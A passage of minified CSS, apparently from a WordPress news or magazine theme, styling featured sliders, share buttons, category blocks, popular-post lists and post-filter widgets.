a{color:var(--pcheading-cl);display:inline-block;position:relative;z-index:2;font-weight:700;font-family:var(--pchead-font);font-size:15px;line-height:30px}.penci-category-description.active .penci-category-description-inner{padding-bottom:30px}.penci-slick-featured-area.elsl-style-39 .penci-active-bg{opacity:1!important}.penci-slick-featured-area.elsl-style-39 .item{position:relative;padding:120px}@media only screen and (max-width:767px){.penci-slick-featured-area.elsl-style-39 .item{padding:5px}}.penci-slick-featured-area.elsl-style-39 .item-inner-content{position:relative;z-index:99;overflow:hidden}.penci-slick-featured-area.elsl-style-39 .penci-featured-content:before{content:"";top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,.3);position:absolute;z-index:11}.penci-slick-featured-area.elsl-style-39 .item-inner-content .penci-slider39-suboverlay{position:absolute;top:0;right:0;bottom:0;width:100%}.penci-slick-featured-area.elsl-style-39 .penci-featured-content .feat-text{z-index:11}.penci-slick-featured-area.elsl-style-39 .penci-featured-content{left:0;right:0;width:auto;position:relative;top:0;bottom:0}.penci-slick-featured-area.elsl-style-39 .penci-slider39-overlay{position:absolute;top:0;left:0;bottom:0;right:0}.penci-slick-featured-area.elsl-style-39 .penci-slider39-overlay:before{position:absolute;top:0;left:0;bottom:0;right:0;content:"";background:rgba(55,55,55,.8);z-index:2}.penci-slider39-thumb{max-width:550px;transform:translateY(-40px);margin:0 auto}.penci-slider39-thumb .slick-thumb-item{padding:0 10px;cursor:pointer}.featured-area .slick-slider .slick-arrow{width:30px;height:30px;text-align:center;line-height:30px;border-radius:50%;padding:0;background:#fff;color:var(--pcheading-cl)}.featured-area .slick-slider .slick-arrow:before{font-size:12px}.featured-area .slick-slider .slick-arrow.slick-next{right:0;left:auto}.featured-area .slick-slider:hover .slick-arrow.slick-next{right:15px;left:auto}@keyframes selectionSharerPopover-animation{from{opacity:0}to{opacity:1}}.penci-sharect{padding:10px 6px;line-height:0;transition:all .2s ease-in-out 0s;box-shadow:rgba(0,0,0,.15) 0 2px 15px 1px;position:absolute;border-radius:3px}.penci-sharect .pcshare-item{display:inline-block;margin:7px;cursor:pointer;transition:all .2s ease-in-out 0s}.penci-sharect i{color:#fff;font-size:18px}.penci-sharect>div>div{vertical-align:top;margin:0 10px!important}.penci-sharect-arrow{position:absolute;border-left:7px solid transparent;border-right:7px solid transparent;border-top:7px solid #fff;bottom:-6px;left:50%;right:50%;transform:translateX(-50%);width:0;height:0}.entry-content ::selection{background-color:var(--pcheading-cl);color:#fff}.penci-social-fixed-share.post-share{position:fixed;left:20px;top:50%;transform:translateY(-50%);z-index:99;width:40px;white-space:break-spaces;display:none;margin-bottom:0}.penci-social-fixed-share.post-share .post-share-item{font-size:18px}.penci-social-fixed-share.post-share.pos-right{left:auto;right:20px}.penci-social-fixed-share.share-style-1 .post-share-item{margin:0!important}.penci-single-block.inview .penci-social-fixed-share.post-share{opacity:1;display:block}.penci-social-fixed-share.post-share .post-share-item:last-child{margin-bottom:0!important}.penci-social-fixed-share.share-style-2 .post-share-item,.penci-social-fixed-share.share-style-3 .post-share-item{border-radius:50%}.penci-social-fixed-share.share-style-3 .post-share-item{background:var(--pcbg-cl);border:1px solid var(--pcborder-cl);box-shadow:1px 1px 1px 0 rgba(55,55,55,.1);transition:.3s all ease-in-out;line-height:38px}.penci-social-fixed-share.share-style-3 .post-share-item:hover{background:#f1f1f1}.widget .categories-block ul li{padding:0;margin:0;overflow:hidden}.categories-block .category-title{font-weight:700;white-space:nowrap}.categories-block .category-count{border-radius:100%;background-color:var(--pcaccent-cl);color:#fff;min-width:34px;text-align:center;height:34px;line-height:34px;font-size:12px;display:inline-block}.categories-block.categories-block-vertical li{text-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.categories-block.categories-block-vertical li a{-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;min-width:210px;width:100%}.categories-block.categories-block-horizontal a{gap:10px}.categories-block.categories-block-horizontal .category-title{-webkit-flex-grow:2;-ms-flex-positive:2;flex-grow:2}.categories-block ul{--gap:10px;--col:3;display:-webkit-flex;display:-ms-flexbox;display:flex;gap:var(--gap);-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.categories-block.cols-2 ul{--col:2}.categories-block.cols-4 ul{--col:4}.categories-block.cols-5 ul{--col:5}.categories-block ul.categories-layout-scroll{overflow:auto;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;padding-bottom:30px}.categories-block ul.categories-layout-scroll li{min-width:210px;text-align:center}.categories-block ul.categories-layout-scroll li a{min-width:210px}.categories-block ul.categories-layout-wrap{-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start}.categories-block ul.categories-layout-wrap.categories-wrap-1 li{-webkit-flex-basis:60%;-ms-flex-preferred-size:60%;flex-basis:60%;background-color:rgba(0,0,0,.1);border:0}.categories-block ul.categories-layout-wrap.categories-wrap-2 li{-webkit-flex-basis:45%;-ms-flex-preferred-size:45%;flex-basis:45%}.categories-block ul.categories-layout-wrap.categories-wrap-3 li{-webkit-flex-basis:30%;-ms-flex-preferred-size:30%;flex-basis:30%}.categories-block li{background:rgba(0,0,0,.02);transition:.15s;display:-webkit-flex;display:-ms-flexbox;display:flex;position:relative;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1;border-radius:5px}.categories-block li.has-bg{background-size:cover;background-repeat:no-repeat;background-position:center}.categories-block li.has-bg:after{content:"";position:absolute;display:block;left:0;right:0;bottom:0;height:100%;transition:opacity .2s;-webkit-backface-visibility:hidden;backface-visibility:hidden;background-color:rgba(0,0,0,.6);border-radius:5px}.categories-block li.has-bg:hover:after{opacity:.7}.categories-block li.has-bg .category-title{color:#fff;font-size:16px}.categories-block li.has-bg .category-desc{color:#fff;text-align:center;font-size:12px}.categories-block li a{padding:10px 20px;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1;z-index:1;gap:5px}.categories-block li a:hover{text-decoration:none!important}.categories-block .penci-image-holder{position:absolute;top:0;left:0;right:0;bottom:0;transition:transform 1s,filter 2s ease-in-out;transform:scale(1.2)}.categories-block li:hover .penci-image-holder{transform:scale(1)}ul.pc-advanced-cat li{position:relative}ul.pc-advanced-cat li .indicator{position:absolute;top:0;right:0;font-size:14px;cursor:pointer}ul.pc-advanced-cat.toggle-enable li .category-item-count{margin-right:30px}.pc-cat-archive{margin-bottom:60px}.pc-cat-archive ul{flex-wrap:wrap;justify-content:flex-start}.pc-cat-archive li{-webkit-flex-basis:calc((100% - (var(--gap) * (var(--col) - 1)))/ var(--col));-ms-flex-preferred-size:calc((100% - (var(--gap) * (var(--col) - 1)))/ var(--col));flex-basis:calc((100% - (var(--gap) * (var(--col) - 1)))/ var(--col))}.pc-cat-archive li a{justify-content:center;flex-direction:column;min-width:150px;width:100%;position:relative;z-index:3;padding:20px 10px}.pc-cat-archive .category-count{background:var(--pcbg-cl);color:var(--pcheading-cl);font-size:14px;box-shadow:1px 1px 3px rgba(0,0,0,.6)}.popularpost_list,.widget .popularpost_list{padding-left:0}.popularpost_item{display:block;position:relative;margin-bottom:20px;padding-left:60px}.popularpost_list.columns-format{display:flex;flex-wrap:wrap;margin-bottom:0}.popularpost_list.columns-format .popularpost_item{flex:0 0 auto;width:calc(100% / 3);padding-right:15px}.popularpost_list.columns-format.col-2 .popularpost_item{width:50%}.popularpost_list.columns-format.col-4 .popularpost_item{width:25%}.popularpost_list.columns-format.col-5 .popularpost_item{width:20%}@media only screen and (max-width:960px){.popularpost_list.columns-format.t-col-1 .popularpost_item{width:100%;padding-right:0}.popularpost_list.columns-format .popularpost_item,.popularpost_list.columns-format.t-col-2 .popularpost_item{width:50%}.popularpost_list.columns-format.t-col-3 .popularpost_item{width:calc(100% / 3)}}@media only screen and (max-width:479px){.popularpost_list.columns-format .popularpost_item,.popularpost_list.columns-format.m-col-1 .popularpost_item{width:100%;padding-right:0}.popularpost_list.columns-format.m-col-2 .popularpost_item{width:50%}}.widget ul.popularpost_list.columns-format>li.popularpost_item:last-child{border-bottom:1px solid var(--pcborder-cl);margin-bottom:11px;padding-bottom:12px}.popularpost_item .pcpopular_new_post_title{font-size:14px;margin:0 0 5px}.popularpost_item .pcpopular_new_post_title a{color:var(--pcheading-cl);font-size:inherit}.popularpost_item .pcpopular_new_post_title a:hover{text-decoration:none;color:var(--pcaccent-cl)}.popularpost_item .pcpopular_new_post_title a:before{content:attr(data-num);position:absolute;font-size:18px;text-align:center;top:0;left:0;width:24px;height:24px;line-height:24px;font-style:italic;background:#e6e6e6;padding:10px;border-radius:100%;box-sizing:content-box;-webkit-transition:all .3s;-o-transition:all .3s;transition:all .3s;font-family:var(--pchead-font);font-weight:var(--pchead-wei)}.popularpost_item:hover .pcpopular_new_post_title a:before{background:var(--pcaccent-cl);color:#fff}.popularpost_item.first{padding-left:0;padding-bottom:15px;border-bottom:3px solid var(--pcborder-cl)}.popularpost_item.first .pcpopular_new_post_title a::before{transform:scale(1.15)}.popularpost_list.columns-format .popularpost_item.first .pcpopular_new_post_title a::before{transform:none}.popularpost_item.first .pcpopular_new_post_title{font-size:18px;font-weight:700;margin:15px auto 15px;line-height:1.25;position:relative}.popularpost_item.first .pcpopular_new_post_title,.popularpost_item.first .popularpost_meta{padding-left:60px}.popularpost_meta{font-size:13px;color:var(--pcmeta-cl)}.widget ul li .popularpost_meta a{font-size:inherit}.post-related .swiper-slide,.swiper-multi-items .swiper-slide{transition-timing-function:cubic-bezier(.76,.09,.215,1)}.slider-41-wrapper{display:flex;flex-direction:column;min-height:310px}.slider-41-wrapper ul{margin-bottom:0!important}.slider-41-swiper{position:relative;flex-grow:1;padding:0;display:flex;margin-top:-1px;overflow:hidden}.slider-41-wrapper+.section,.slider-41-wrapper+.section-wrap{z-index:4}.slider-41-wrapper .actueel-header{flex-grow:1;padding:0;display:flex}.slider-41-item{padding-top:120px;padding-bottom:160px;display:flex;align-items:center;position:relative;flex-grow:1}.slider-41-wrapper .container{width:calc(var(--pcctain) - 120px)}.slider-41-item .thumbnail{position:absolute;top:0;left:0;width:100%;height:calc(100% + 5px);border-radius:5px;background:#000}.slider-41-item .thumbnail .dark-overlay{background:rgba(0,0,0,.5)}.slider-41-item .row .flex-col:nth-child(1){display:flex;flex-direction:column;gap:2em}.slider-41-item .small-title{color:#fff}.slider-41-item h3{overflow:hidden;text-overflow:ellipsis;display:-webkit-box;-webkit-box-orient:vertical;-webkit-line-clamp:2;line-clamp:2;min-height:calc(2em * 1.15);color:#fff;font-size:28px;font-weight:bolder}.slider-41-item h3 a{color:inherit;font-weight:inherit}.slider-41-item .row .flex-col:nth-child(1) .tags{padding-top:.3em}.slider-41-item .tags .single-tag{color:#fff}.slider-41-item .tags .single-tag.light-medium{background:#fff}.slider-41-item .row .flex-col:nth-child(2){display:flex;flex-direction:column;gap:2.5em}.slider-41-item .author-box{background:rgba(0,0,0,.75);padding:15px;border-radius:15px;max-width:190px}.slider-41-item .author-box h4{color:#fff}.slider-41-swiper .swiper-pagination{position:absolute}.slider-41-swiper .fixed-items{position:absolute;top:0;left:0;height:100%;width:100%;padding-top:120px;padding-bottom:120px}.slider-41-swiper .fixed-items .container{display:flex;justify-content:flex-end;flex-direction:column;height:100%;position:relative}.slider-41-swiper .fixed-items .flex-col:nth-child(2){display:flex;justify-content:flex-end}.slider-41-swiper .fixed-items .btn{z-index:1;transform:translateY(120px)}.slider-41-swiper .readmore{background:#000;color:#fff;border-radius:50px;padding:0 15px;line-height:35px;font-size:13px;display:inline-block}.slider-41-swiper .featured-cat a{color:#fff}@media screen and (max-width:1024px){.slider-41-item .row .flex-col:nth-child(2){display:none}.slider-41-item .row .flex-col:nth-child(1){gap:1.5em}.slider-41-item h1{-webkit-line-clamp:3;line-clamp:3;min-height:calc(3em * 1.15)}.slider-41-wrapper{min-height:550px}.slider-41-item{padding-top:120px;padding-bottom:180px}}.featured-style-41 .swiper-container{display:flex;flex-wrap:wrap;flex-direction:column;position:relative;flex-grow:1;width:100%}.featured-style-41 .swiper-wrapper{flex-grow:1;position:relative;width:100%;-webkit-transform-style:preserve-3d;transition-timing-function:cubic-bezier(.5,0,.1,1);-webkit-backface-visibility:hidden;-webkit-transform:translateZ(0)}.featured-style-41 .swiper-slide{position:relative;-webkit-backface-visibility:hidden;-webkit-transform:translateZ(0)}.featured-style-41 .swiper-container .swiper-pagination{position:relative;width:100%;display:flex;bottom:unset;left:unset;gap:.5em}.featured-style-41 .swiper-container .swiper-pagination-bullet{height:1em;position:relative;border-radius:0;margin:unset;width:100%;background-color:transparent;display:flex;opacity:1;flex-direction:column;justify-content:center}.featured-style-41 .swiper-container .swiper-pagination-bullet::before{content:"";width:100%;height:1px;background-color:rgba(255,255,255,.7);opacity:.4;position:absolute}.featured-style-41 .swiper-container .progress{height:2px;position:absolute;width:100%;background-color:rgba(255,255,255,1);transform:scaleX(0);transform-origin:left top;opacity:0;transition:opacity .3s ease-in-out}.featured-style-41 .swiper-container .swiper-pagination-bullet-active .progress{opacity:1}.slider-41-item .overlay{position:absolute;top:0;left:0;height:100%;width:100%}.slider-41-item img.overlay,.slider-41-item video.overlay{object-fit:cover}.slider-41-item .penci-fslider-fmeta .featured-slider-excerpt{margin-top:30px}.slider-41-item .readmore-btn{padding-bottom:60px}.featured-style-41 .row{display:flex;flex-wrap:wrap;position:relative}.featured-style-41 .row.split.split-30-70,.featured-style-41 .row.split.split-70-30{justify-content:space-between}.featured-style-41 .row.split.split-30-70 .flex-col:nth-child(2),.featured-style-41 .row.split.split-70-30 .flex-col:nth-child(1){width:calc(70% - (60px * .5))}.featured-style-41 .row.split.split-30-70 .flex-col:nth-child(1),.featured-style-41 .row.split.split-70-30 .flex-col:nth-child(2){width:calc(30% - (60px * .5))}@media only screen and (max-width:1024px){.featured-style-41 .row.split.split-30-70 .flex-col:nth-child(1),.featured-style-41 .row.split.split-30-70 .flex-col:nth-child(2),.featured-style-41 .row.split.split-70-30 .flex-col:nth-child(1),.featured-style-41 .row.split.split-70-30 .flex-col:nth-child(2){width:calc(100vw - 60px);padding-left:30px;padding-right:30px}}.slider-40-wrapper{text-align:center;background-size:cover;margin-bottom:0;height:840px;position:relative;overflow:hidden}.featured-style-40 .nav-slider{margin:0;position:absolute;left:-60px;right:-60px;z-index:1}@media (max-width:1020px) and (min-width:767px){.slider-40-wrapper{height:720px}}@media (max-width:767px){.slider-40-wrapper{height:480px}}.slider-40-wrapper .container-bg-slider-40{position:absolute;left:0;top:0;right:0;bottom:0;z-index:5}.slider-40-wrapper .container-bg-slider-40 .item-bg-slider-40{position:absolute;left:0;top:0;right:0;bottom:0;overflow:hidden}.slider-40-wrapper .container-bg-slider-40 .item-bg-slider-40:first-child{z-index:4}.slider-40-wrapper .container-bg-slider-40 .item-bg-slider-40 .item-bg-slider-40-content{position:absolute;z-index:2;left:0;top:0;right:0;bottom:0}.slider-40-wrapper .list-slider-creative{position:relative;width:1000px;height:565px}@media (max-width:1020px){.slider-40-wrapper .list-slider-creative{width:700px;height:400px;margin-left:auto;margin-right:auto}}@media (max-width:767px){.slider-40-wrapper .list-slider-creative{width:100%;height:300px}}.slider-40-wrapper .list-slider-creative .item-slider-creative{position:absolute;top:0;left:0;right:0;bottom:0;z-index:2;overflow:hidden}.slider-40-wrapper .list-slider-creative .item-slider-creative:first-child{z-index:3}.slider-40-wrapper .list-slider-creative .item-slider-creative .img-container{background-size:cover;background-repeat:no-repeat;background-position:center center}.slider-40-wrapper .list-slider-creative .item-slider-creative .img-container:before{content:"";z-index:1;position:absolute;top:0;right:0;bottom:0;left:0;margin:auto;background-color:rgba(0,0,0,.6);transition:opacity .3s ease-in-out}.slider-40-wrapper .list-slider-creative .item-slider-creative .content-item-creative{position:absolute;top:0;left:0;right:0;bottom:0}.slider-40-wrapper .container-slider-40{width:1000px;margin:80px auto 0;position:relative;z-index:10}@media (max-width:1020px) and (min-width:767px){.slider-40-wrapper .container-slider-40{width:100%}}@media (max-width:767px){.slider-40-wrapper .container-slider-40{width:100%}}.slider-40-wrapper .header-creative{position:relative}.slider-40-wrapper .see-all{position:absolute;right:0;bottom:-2px}@media (max-width:767px){.slider-40-wrapper .see-all.visible-xs{position:inherit;right:0;bottom:0;margin-top:35px}}.slider-40-wrapper .see-all:hover{color:#44c8e6}.slider-40-wrapper .galery-slider-40{position:relative}@media (max-width:1020px) and (min-width:767px){.slider-40-wrapper .galery-slider-40{margin-top:27px}.featured-style-40 .nav-slider{left:30px;right:30px}}@media (max-width:767px){.slider-40-wrapper .galery-slider-40 .slider-creative{margin-bottom:0;padding:0 60px}.featured-style-40 .nav-slider{left:10px;right:10px}}.slider-40-wrapper .galery-slider-40 .slider-creative .nav-slider-slider-40{top:50%;transform:translateY(-50%)}.slider-40-wrapper .galery-slider-40 .slider-creative .nav-slider-slider-40 .nav-slider-button .icon-arrow-left{margin:0}@media (max-width:1020px) and (min-width:767px){.slider-40-wrapper .galery-slider-40 .slider-creative .nav-slider-slider-40{left:10px;right:10px}}@media (max-width:767px){.slider-40-wrapper .galery-slider-40 .container-thumb-creative{overflow-y:scroll;position:relative;width:100%;bottom:-25px;left:0}}.slider-40-wrapper .nav-thumb-creative{width:690px;padding:10px 5px 0;background-color:#fff;margin:0 auto;overflow:hidden;position:absolute;left:0;right:0;bottom:0;z-index:99}.slider-40-wrapper .nav-thumb-creative .swiper-slide{width:25%}.slider-40-wrapper .nav-thumb-creative:not(.penci-owl-loaded) .thumb-container{display:none}.slider-40-wrapper .nav-thumb-creative:not(.penci-owl-loaded) .thumb-container:nth-child(1),.slider-40-wrapper .nav-thumb-creative:not(.penci-owl-loaded) .thumb-container:nth-child(2),.slider-40-wrapper .nav-thumb-creative:not(.penci-owl-loaded) .thumb-container:nth-child(3),.slider-40-wrapper .nav-thumb-creative:not(.penci-owl-loaded) .thumb-container:nth-child(4){display:block}@media (max-width:1020px) and (min-width:767px){.slider-40-wrapper .nav-thumb-creative{padding:10px;width:100%}}@media (max-width:767px){.slider-40-wrapper .nav-thumb-creative{left:0;bottom:0;position:inherit}}.slider-40-wrapper .nav-thumb-creative .thumb-container{position:relative;overflow:hidden;text-align:center;display:block}.slider-40-wrapper .nav-thumb-creative .thumb-container .penci-image-holder{width:100%;height:auto;position:relative;z-index:3;-webkit-transition:transform .3s ease-in-out;-o-transition:transform .3s ease-in-out;transition:transform .3s ease-in-out;display:inline-block;vertical-align:middle}.slider-40-wrapper .penci-image-holder:before{padding-top:66.6667%!important}.slider-40-wrapper .nav-thumb-creative .thumb-container:after{content:"";opacity:0;visibility:hidden;width:100%;height:100%;background-color:var(--pcaccent-cl);position:absolute;left:0;top:0;-webkit-transition:opacity .3s ease-in-out,visibility .3s ease-in-out;-o-transition:opacity .3s ease-in-out,visibility .3s ease-in-out;transition:opacity .3s ease-in-out,visibility .3s ease-in-out;z-index:5}.slider-40-wrapper .nav-thumb-creative .thumb-container:hover:after{visibility:visible;opacity:.5}@media (max-width:1020px) and (min-width:767px){.slider-40-wrapper .nav-thumb-creative .thumb-container+.thumb-container{margin-left:9px}}.slider-40-wrapper .nav-thumb-creative .swiper-slide.active .penci-image-holder{-webkit-transform:scale(.95,.93);-ms-transform:scale(.95,.93);-o-transform:scale(.95,.93);transform:scale(.95,.93)}.slider-40-wrapper .nav-thumb-creative .swiper-slide.active .thumb-container:after,.slider-40-wrapper .nav-thumb-creative .swiper-slide.active:hover .thumb-container:after{opacity:1;visibility:visible;z-index:0}.slider-40-wrapper .nav-thumb-creative .thumb-container:hover .thumb-container:after{z-index:4;-webkit-transition:opacity .3s ease-in-out,visibility .3s ease-in-out;-o-transition:opacity .3s ease-in-out,visibility .3s ease-in-out;transition:opacity .3s ease-in-out,visibility .3s ease-in-out;opacity:.6;visibility:visible}.slider-40-wrapper .bg-img-slider-40-background,.slider-40-wrapper .bg-img-slider-40-behind{overflow:hidden;height:100%;width:100%;position:absolute;left:0;right:0;background-size:cover;background-position:center}.slider-40-wrapper .nav-slider-button{height:34px;width:34px;border-radius:50%;float:left;text-align:center;transition:all .3s ease-in-out;line-height:34px;padding:0;background:#fff;color:#010101;opacity:.8}.slider-40-wrapper .nav-slider-button:hover{opacity:1}.slider-40-wrapper .nav-slider-button i{font-size:12px;color:inherit;line-height:inherit}.slider-40-wrapper .next-button{right:0;float:right}.slider-40-wrapper .nav-thumb-creative .swiper-slide-inner{padding-left:5px;padding-right:5px}.slider-40-wrapper .nav-thumb-creative:not(.penci-owl-loaded) .swiper-slide:nth-child(4){margin-right:0}.penci-43-slider-item{width:100%;background-size:cover;display:flex;flex-wrap:wrap;align-content:center;position:relative;z-index:5;overflow:hidden}@media (max-width:1020px) and (min-width:767px){.penci-43-slider-item{height:400px}}.penci-43-slider-item .img-container{width:100%;position:absolute;height:100%;left:0;top:0;overflow:hidden}.penci-43-slider-item .img-container .img-responsive{margin:0 auto}.penci-43-slider-item .img-container:before{content:"";z-index:1;position:absolute;top:0;right:0;bottom:0;left:0;margin:auto;background-color:rgba(0,0,0,.15)}.penci-43-slider-item .img-container img{-webkit-transition:transform 2s ease-in-out;-o-transition:transform 2s ease-in-out;transition:transform 2s ease-in-out}.penci-43-slider-item>div{width:700px;margin:0 auto;position:relative;z-index:4}.penci-43-slider-item div .featured-cat a{color:#fff}.penci-43-slider-item .featured-slider-excerpt{margin-top:15px}.penci-43-slider-item .featured-slider-excerpt p{margin-bottom:0}@media (max-width:1020px) and (min-width:767px){.penci-43-slider-item div{width:550px}}@media (max-width:767px){.penci-43-slider-item>div:last-child{width:100%;padding:10px}.penci-43-slider-item div .number-tv{display:block;margin-bottom:14px}}@media (max-width:767px) and (max-width:767px){.penci-43-slider-item div .number-tv{margin-bottom:3px}}.penci-43-slider-item .title-part{font-size:42px;margin:0;font-weight:var(--pchead-wei);line-height:1.2;color:#fff}.penci-43-slider-item .penci-fslider-fmeta{margin-top:6px}.penci-43-slider-item .title-part a{color:inherit;font-size:inherit}.penci-43-slider-item .title-part a:hover{text-decoration:none}@media only screen and (max-width:1170px){.penci-43-slider-item .title-part{font-size:36px}}@media only screen and (max-width:960px){.penci-43-slider-item .title-part{font-size:30px}.penci-43-slider-item .featured-slider-excerpt{display:none}}@media only screen and (max-width:767px){.penci-43-slider-item .title-part{font-size:24px}}@media only screen and (max-width:479px){.penci-43-slider-item .title-part{font-size:20px}}.featured-area.featured-style-39 .penci-slider38-overlay{position:absolute;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,.5);z-index:3}.featured-area.featured-style-39 .penci-image-holder{max-height:450px}.featured-area.featured-style-39 .penci-featured-content .feat-text{max-width:calc(100% - 390px);margin:0;text-align:center}@media only screen and (max-width:767px){.featured-area.featured-style-39 .penci-featured-content .feat-text{max-width:100%}}.featured-area.featured-style-39 .penci-featured-content{z-index:4}.featured-area.featured-style-39 .penci-slider39-thumb{position:absolute;bottom:0;top:40px;right:0;z-index:99;padding:30px;width:370px;height:100%;background-color:rgba(0,0,0,.7);overflow:hidden}@media only screen and (max-width:1170px){.featured-area.featured-style-39 .penci-featured-content .feat-text{max-width:calc(100% - 320px)}.featured-area.featured-style-39 .penci-slider39-thumb{width:320px}}@media only screen and (max-width:767px){.featured-area.featured-style-39 .penci-slider39-thumb{display:none}}.featured-area.featured-style-39 .penci-slider39-thumb .owl-thumb-item h3{font-size:16px;color:#fff;margin:0;line-height:1.3;margin-left:90px;opacity:.75}.featured-area.featured-style-39 .penci-slider39-thumb .owl-thumb-item{cursor:pointer}.featured-area.featured-style-39 .penci-slider39-thumb .swiper-slide-thumb-active.owl-thumb-item h3{opacity:1}.featured-area.featured-style-39 .featured-slider-excerpt,.featured-area.featured-style-39 .featured-slider-excerpt p{text-align:center}.featured-area.featured-style-39 .penci-slider39-thumb .owl-thumb-item .penci-image-holder{width:70px;height:70px;border:1px solid rgba(255,255,255,.5);float:left}.featured-area.featured-style-39 .penci-slider39-thumb .active .owl-thumb-item .penci-image-holder{border-color:var(--pcaccent-cl)}.penci-owl-carousel-slider[data-direction=vertical]:not(.penci-owl-loaded)>div:first-child{display:flex;flex-direction:column}.penci-owl-carousel-slider[data-direction=vertical]:not(.penci-owl-loaded) .swiper-slide{flex-shrink:0;width:100%!important;height:auto;margin-bottom:30px;position:relative;transition-property:transform;float:none!important}.swiper-mark-item{overflow:hidden;transition:all .4s ease}.penci-swiper-mask{position:relative;z-index:1}.featured-style-45 .swiper-slide{overflow:hidden;color:#fff;min-height:550px;transition:all .4s ease}.featured-style-45 .slide-inner{width:100%;height:100%;position:absolute;left:0;top:0;z-index:1;background-size:cover;background-position:center;display:flex;justify-content:center;align-items:center;text-align:left}.featured-style-45 .penci-featured-content{top:60px;left:60px;bottom:60px;transform:unset;max-width:420px;display:flex;align-items:center}.featured-style-45 .penci-featured-content .feat-text{max-width:100%;text-align:left;padding:60px;border-radius:5px;overflow:hidden}.featured-style-45 .penci-featured-content .featured-slider-overlay{background:rgba(255,255,255,.15);backdrop-filter:blur(2px) saturate(180%);border:1px solid rgba(255,255,255,.8);border-radius:5px;box-shadow:0 8px 32px rgba(31,38,135,.2),inset 0 4px 20px rgba(255,255,255,.3)}.featured-style-45 .swiper-slide .penci-image-holder:before{padding-top:45%}.swiper-button-disabled{cursor:not-allowed!important;opacity:.5!important}.post-image.stick-video-enable{position:fixed;max-width:var(--pcajs_fvw);width:100%;height:auto;z-index:99999;margin:0;overflow:visible}@media only screen and (max-width:767px){.post-image.stick-video-enable{max-width:var(--pcajs_fvmw)}}.post-image.stick-video-enable.top-right{top:40px;right:40px}.post-image.stick-video-enable.bottom-right{bottom:40px;right:40px}.post-image.stick-video-enable.top-left{top:40px;left:40px}.post-image.stick-video-enable.bottom-left{bottom:40px;left:40px}.post-image.stick-video-enable .standard-post-special_wrapper{display:none}.swiper-button-lock{display:none!important}.swiper-fade .item{opacity:0;visibility:hidden}.swiper-fade .item.swiper-slide-visible{opacity:1;visibility:visible}.stick-video-enable-remove{width:30px;height:30px;border-radius:50%;background:#000;color:#fff;line-height:30px;text-align:center;font-size:12px;position:absolute;top:-5px;right:-5px;z-index:99999;cursor:pointer;transition:all .3s ease-in-out}.stick-video-enable-remove:hover{background:var(--pcaccent-cl);color:#fff}.stick-video-enable-remove i{line-height:inherit!important}.swiper-cards .swiper-slide{opacity:.5}.swiper-cards .swiper-slide.active{opacity:1}.featured-style-28 .swiper-slide{width:fit-content!important}.penci-sponsored-label{display:inline-block;padding:1px 5px;background-color:var(--pcaccent-cl);color:var(--pcbg-cl)!important;margin:0 5px 0 0!important}.penci-sponsored-label:before{content:attr(data-text)}.penci-sponsored-logo img{display:inline-block;max-height:20px;width:auto;vertical-align:middle;margin-left:5px}.penci-csublist.cat{margin-top:10px}.penci-csublist.cat>a.penci-cat-name{font-size:16px}.penci-mtp-filters-wrapper{display:flex;flex-wrap:wrap;flex-direction:row;--spacing:30px;--sidebar:25%;--listspc:0}.penci-mtp-filters-terms{width:var(--sidebar);padding-right:var(--spacing)}.penci-mtp-filters-posts{width:calc(100% - var(--sidebar));border-left:1px solid var(--pcborder-cl);padding-left:var(--spacing)}.penci-mtp-filters-wrapper.pctp-right{flex-direction:row-reverse}.penci-mtp-filters-wrapper.pctp-right .penci-mtp-filters-terms{padding-right:0;padding-left:var(--spacing)}.penci-mtp-filters-wrapper.pctp-right .penci-mtp-filters-posts{border-right:1px solid var(--pcborder-cl);padding-right:var(--spacing);border-left:0;padding-left:0}.penci-mtp-filters-wrapper.pctp-top{flex-direction:column}.penci-mtp-filters-wrapper.pctp-top .penci-mtp-filters-posts,.penci-mtp-filters-wrapper.pctp-top .penci-mtp-filters-terms{width:100%;border:0;padding:0}.penci-mtp-filters-wrapper.pctp-top .penci-mtp-filters-posts{border-top:1px solid var(--pcborder-cl);padding-top:var(--spacing);margin-top:var(--spacing)}.penci-mtp-filters-wrapper.pctp-top .penci-mtp-filters-terms{display:flex;flex:1;overflow:auto}.penci-mtp-filters-wrapper.pctp-top .penci-mtp-filters-terms ul{display:flex;flex-shrink:0}.penci-mtp-filters-terms ul{background:#f5f5f5}.penci-mtp-filters-terms ul,.penci-mtp-filters-terms ul li{list-style:none;margin:0;padding:0}.penci-mtp-filters-terms ul li:not(:last-child){list-style:none}.penci-mtp-filters-terms ul li a:hover{text-decoration:none}.penci-mtp-filters-posts.layout-list .pcsl-inner .pcsl-item:not(:last-child){padding-bottom:var(--pcsl-bgap);border-bottom:1px solid var(--pcborder-cl)}.penci-mtp-filters-terms ul li:not(:last-child){margin-bottom:var(--listspc)}.penci-mtp-filters-terms ul li a{padding:0 20px 0 40px;position:relative;background:0 0;display:flex;justify-content:space-between;line-height:45px;color:var(--pcheading-cl);font-weight:var(--pchead-wei);font-family:var(--pchead-font);font-size:16px}.penci-mtp-filters-terms ul li a.added,.penci-mtp-filters-wrapper[data-filter-terms=""] ul li a[data-id=all]{background:var(--pcaccent-cl);color:#fff}.penci-mtp-filters-terms ul li a.added:before,.penci-mtp-filters-wrapper[data-filter-terms=""] ul li a[data-id=all]:before{content:"\f111";font-family:penciicon;font-size:14px;font-display:swap;display:inline-block;font-style:normal;font-weight:400!important;font-variant:normal;text-transform:none;line-height:inherit;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;position:absolute;left:14px;top:0;bottom:0}.penci-mtp-filters-wrapper.pctp-top .penci-mtp-filters-terms ul li:not(:last-child){margin-right:var(--listspc);margin-bottom:0}.penci-mtp-filters-wrapper.pctp-top .penci-mtp-filters-terms .count{margin-left:10px}.penci-mtp-filters-wrapper.pctp-top .penci-mtp-filters-terms .count:before{content:'('}.penci-mtp-filters-wrapper.pctp-top 